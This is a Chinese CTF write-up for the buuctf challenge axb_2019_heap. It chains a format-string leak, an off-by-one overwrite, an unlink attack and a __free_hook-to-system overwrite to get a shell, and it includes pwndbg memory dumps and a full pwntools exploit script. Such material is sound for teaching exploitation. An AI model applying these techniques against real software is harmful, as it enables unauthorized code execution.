关于axb_2019_heap的详解
参考:buuctf axb_2019_heap
程序流程
banner:存在格式化字符串漏洞,可以泄漏栈上的信息
add:根据idx创建size(大于0x80)大小的内容为content的块
块指针和块大小存放在一个全局变量note中
delete:释放的很干净,没有uaf
edit:存在off by one
get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2));
if ( a2 + 1 <= (unsigned int)v3 )
v3是以及输入的长度,a2是给定的长度,存在一个字节的溢出
调试
这个程序没有保留调试信息,不能调试,只能一步步看,,,
GDB调试指南
1
| Reading symbols from axb_2019_heap...(no debugging symbols found)...done.
|
漏洞利用
利用格式化字符串泄露栈上信息
由于存在全局变量note,故可以利用unlink控制chunk指针
修改__free_hook为system,get shell
详细过程
1.格式化字符串
计算偏移:直接算或者用工具 => 得到偏移为7
执行到printf(&format);
1 2 3
| ► 0x555555554b4e <banner+105> call printf@plt <printf@plt> format: 0x7fffffffde4c ◂— 'aaaaaaaa' vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> stack 30 00:0000│ rsp 0x7fffffffde40 ◂— 0x0 01:0008│ rdi-4 0x7fffffffde48 ◂— 0x61616161ffffde60 02:0010│ 0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */ #输入的数据 03:0018│ 0x7fffffffde58 ◂— 0xd23db0a55446d00 04:0020│ rbp 0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15 05:0028│ 0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov eax, 0 06:0030│ 0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1 07:0038│ 0x7fffffffde78 ◂— 0x0 08:0040│ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15 09:0048│ 0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax #可以泄露libc_base 0a:0050│ 0x7fffffffde90 ◂— 0x1 0b:0058│ 0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap' 0c:0060│ 0x7fffffffdea0 ◂— 0x1f7ffcca0 0d:0068│ 0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push rbp #main起始地址,可以泄露程序基地址
|
所以__libc_start_main+240
的偏移为15,main
的偏移为19。
通过计算即可得到libc_base和程序基地址(开启了pie,每次都不一样)
1 2 3 4 5 6 7 8 9 10 11 12
| p.recvuntil("Enter your name: ") payload = "%15$p.%19$p" p.sendline(payload) main_240 = int(p.recvuntil(".")[-13:-1],16) push_rbp = int(p.recvuntil("\n")[-13:],16) print(hex(main_240)) print(hex(push_rbp))
libc_base = main_240 - libc.sym['__libc_start_main'] - 240 pro_base = push_rbp - 0x116a log.success(hex(libc_base)) log.success(hex(pro_base))
|
2.unlink
首先计算note地址 = 程序基地址 + note偏移 => note = pro_base + 0x0202060
接着申请三个块,0x98大小(方便修改下一个chunk)
- 第一个chunk:构造fake chunk
- 第二个chunk:用于释放,unlink
- 第三个chunk:防止第二个chunk和top chunk合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55830d656000 Size: 0xa1
Allocated chunk | PREV_INUSE Addr: 0x55830d6560a0 Size: 0xa1
Allocated chunk | PREV_INUSE Addr: 0x55830d656140 Size: 0xa1
Top chunk | PREV_INUSE Addr: 0x55830d6561e0 Size: 0x20e21
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwndbg> x/50gx 0x55830d656000 0x55830d656000: 0x0000000000000000 0x00000000000000a1 0x55830d656010: 0x0000000061616161 0x0000000000000000 0x55830d656020: 0x0000000000000000 0x0000000000000000 0x55830d656030: 0x0000000000000000 0x0000000000000000 0x55830d656040: 0x0000000000000000 0x0000000000000000 0x55830d656050: 0x0000000000000000 0x0000000000000000 0x55830d656060: 0x0000000000000000 0x0000000000000000 0x55830d656070: 0x0000000000000000 0x0000000000000000 0x55830d656080: 0x0000000000000000 0x0000000000000000 0x55830d656090: 0x0000000000000000 0x0000000000000000 0x55830d6560a0: 0x0000000000000000 0x00000000000000a1 0x55830d6560b0: 0x0000000062626262 0x0000000000000000 0x55830d6560c0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5
| pwndbg> x/30gx 0x55830ca49060 0x55830ca49060 <note>: 0x000055830d656010 0x0000000000000098 0x55830ca49070 <note+16>: 0x000055830d6560b0 0x0000000000000098 0x55830ca49080 <note+32>: 0x000055830d656150 0x0000000000000098 0x55830ca49090 <note+48>: 0x0000000000000000 0x0000000000000000
|
1 2 3
| add(0,0x98,'aaaa') add(1,0x98,'bbbb') add(2,0x98,'cccc')
|
通过第一个chunk构造,并off by one修改第二个chunk的大小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55d2cb54e000 Size: 0xa1
Allocated chunk Addr: 0x55d2cb54e0a0 Size: 0xa0 #修改标志位,表示上一个chunk被释放
Allocated chunk | PREV_INUSE Addr: 0x55d2cb54e140 Size: 0xa1
Top chunk | PREV_INUSE Addr: 0x55d2cb54e1e0 Size: 0x20e21
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwndbg> x/30gx 0x55d2cb54e000 0x55d2cb54e000: 0x0000000000000000 0x00000000000000a1 #第一个chunk 0x55d2cb54e010: 0x0000000000000000 0x0000000000000090 #fake chunk 0x55d2cb54e020: 0x000055d2cb00d048 0x000055d2cb00d050 #fd、bk 0x55d2cb54e030: 0x6161616161616161 0x6161616161616161 0x55d2cb54e040: 0x6161616161616161 0x6161616161616161 0x55d2cb54e050: 0x6161616161616161 0x6161616161616161 0x55d2cb54e060: 0x6161616161616161 0x6161616161616161 0x55d2cb54e070: 0x6161616161616161 0x6161616161616161 0x55d2cb54e080: 0x6161616161616161 0x6161616161616161 0x55d2cb54e090: 0x6161616161616161 0x6161616161616161 0x55d2cb54e0a0: 0x0000000000000090 0x00000000000000a0 #pre_size = 0x90,size = 0xa0 0x55d2cb54e0b0: 0x0000000062626262 0x0000000000000000 0x55d2cb54e0c0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8
| note = pro_base + 0x0202060 payload = p64(0) + p64(0x90) payload += p64(fd) + p64(bk) payload += 'a' * 0x70 payload += p64(0x90) + p8(0xa0) print(hex(len(payload))) edit(0,payload) print(hex(note))
|
释放第二个chunk,造成unlink,target = target - 0x18
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #没变化 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55682bfdf000 Size: 0xa1
Allocated chunk Addr: 0x55682bfdf0a0 Size: 0xa0
Allocated chunk Addr: 0x55682bfdf140 Size: 0xa0
Top chunk | PREV_INUSE Addr: 0x55682bfdf1e0 Size: 0x20e21
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwndbg> x/30gx 0x55682bfdf000 0x55682bfdf000: 0x0000000000000000 0x00000000000000a1 0x55682bfdf010: 0x0000000000000000 0x0000000000000131 #合并了,大小为0x90 + 0xa0 0x55682bfdf020: 0x00007fea30ac5b78 0x00007fea30ac5b78 0x55682bfdf030: 0x6161616161616161 0x6161616161616161 0x55682bfdf040: 0x6161616161616161 0x6161616161616161 0x55682bfdf050: 0x6161616161616161 0x6161616161616161 0x55682bfdf060: 0x6161616161616161 0x6161616161616161 0x55682bfdf070: 0x6161616161616161 0x6161616161616161 0x55682bfdf080: 0x6161616161616161 0x6161616161616161 0x55682bfdf090: 0x6161616161616161 0x6161616161616161 0x55682bfdf0a0: 0x0000000000000090 0x00000000000000a0 0x55682bfdf0b0: 0x0000000062626262 0x0000000000000000 0x55682bfdf0c0: 0x0000000000000000 0x0000000000000000
|
1 2 3 4
| pwndbg> x/30gx 0x55682b44c060 0x55682b44c060 <note>: 0x000055682b44c048 0x0000000000000098#target = target - 0x18 0x55682b44c070 <note+16>: 0x0000000000000000 0x0000000000000000 0x55682b44c080 <note+32>: 0x000055682bfdf150 0x0000000000000098
|
3.修改__free_hook为system
通过第一个chunk,覆盖第一个chunk的指针指向__free_hook的地址
设置第二个chunk为参数“/bin/sh\x00”,只要让chunk2指向后面的地址,在上面的地址布置上字符串即可。
1 2 3 4 5
| pwndbg> x/30gx 0x55cbe5291060 0x55cbe5291060 <note>: 0x00007f962216f7a8 0x0000000000000098 #__free_hook地址 0x55cbe5291070 <note+16>: 0x000055cbe5291078 0x0068732f6e69622f #binsh地址 binsh字符串 0x55cbe5291080 <note+32>: 0x000055cbe5975100 0x0000000000000098 0x55cbe5291090 <note+48>: 0x0000000000000000 0x0000000000000000
|
1 2
| pwndbg> x/30gx 0x00007f962216f7a8 0x7f962216f7a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6
| system = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] payload = p64(0) * 3 payload += p64(free_hook) + p64(0x98) payload += p64(note + 24) +"/bin/sh\x00" edit(0,payload)
|
第一个chunk指向__free_hook
,往chunk1填入数据就是往__free_hook
填入数据,修改其为system地址。
1 2 3 4
| pwndbg> x/30gx 0x5578fc638060 0x5578fc638060 <note>: 0x00007f909293e7a8 0x0000000000000098 0x5578fc638070 <note+16>: 0x00005578fc638078 0x0068732f6e69622f 0x5578fc638080 <note+32>: 0x00005578fd63e100 0x0000000000000098
|
1 2
| pwndbg> x/30gx 0x00007f909293e7a8 0x7f909293e7a8 <__free_hook>: 0x00007f90925bd3a0
|
1 2
| pwndbg> x/30gx 0x00007f90925bd3a0 0x7f90925bd3a0 <__libc_system>: 0xfa86e90b74ff8548
|
最后,释放第二个chunk即可执行free(2) => system(“/bin/sh\x00”)
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import *
p = process("./axb_2019_heap")
context.log_level = 'debug' elf = ELF("./axb_2019_heap") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def cmd(choice): p.recvuntil(">> ") p.sendline(str(choice))
def add(idx,size,content): cmd(1) p.recvuntil("to create (0-10):") p.sendline(str(idx)) p.recvuntil("Enter a size:") p.sendline(str(size)) p.recvuntil("Enter the content:") p.sendline(content)
def dele(idx): cmd(2) p.recvuntil("Enter an index:") p.sendline(str(idx))
def edit(idx,content): cmd(4) p.recvuntil("Enter an index:") p.sendline(str(idx)) p.recvuntil("Enter the content: ") p.sendline(content)
p.recvuntil("Enter your name: ") payload = "%15$p.%19$p" p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16) push_rbp = int(p.recvuntil("\n")[-13:],16) print(hex(main_240)) print(hex(push_rbp))
libc_base = main_240 - libc.sym['__libc_start_main'] - 240 pro_base = push_rbp - 0x116a log.success(hex(libc_base)) log.success(hex(pro_base))
system = libc_base + libc.sym['system'] note = pro_base + 0x0202060
add(0,0x98,'aaaa') add(1,0x98,'bbbb') add(2,0x98,'cccc') print(hex(note))
fd = note - 0x18 bk = note - 0x10
payload = p64(0) + p64(0x90) payload += p64(fd) + p64(bk) payload += 'a' * 0x70 payload += p64(0x90) + p8(0xa0) print(hex(len(payload))) edit(0,payload) print(hex(note)) dele(1)
free_hook = libc_base + libc.sym['__free_hook'] payload = p64(0) * 3 payload += p64(free_hook) + p64(0x98) payload += p64(note + 24) +"/bin/sh\x00" edit(0,payload)
edit(0,p64(system))
print(hex(note)) gdb.attach(p) pause() dele(1)
p.interactive()
|
组合拳,题型:fmt + off by one + unlink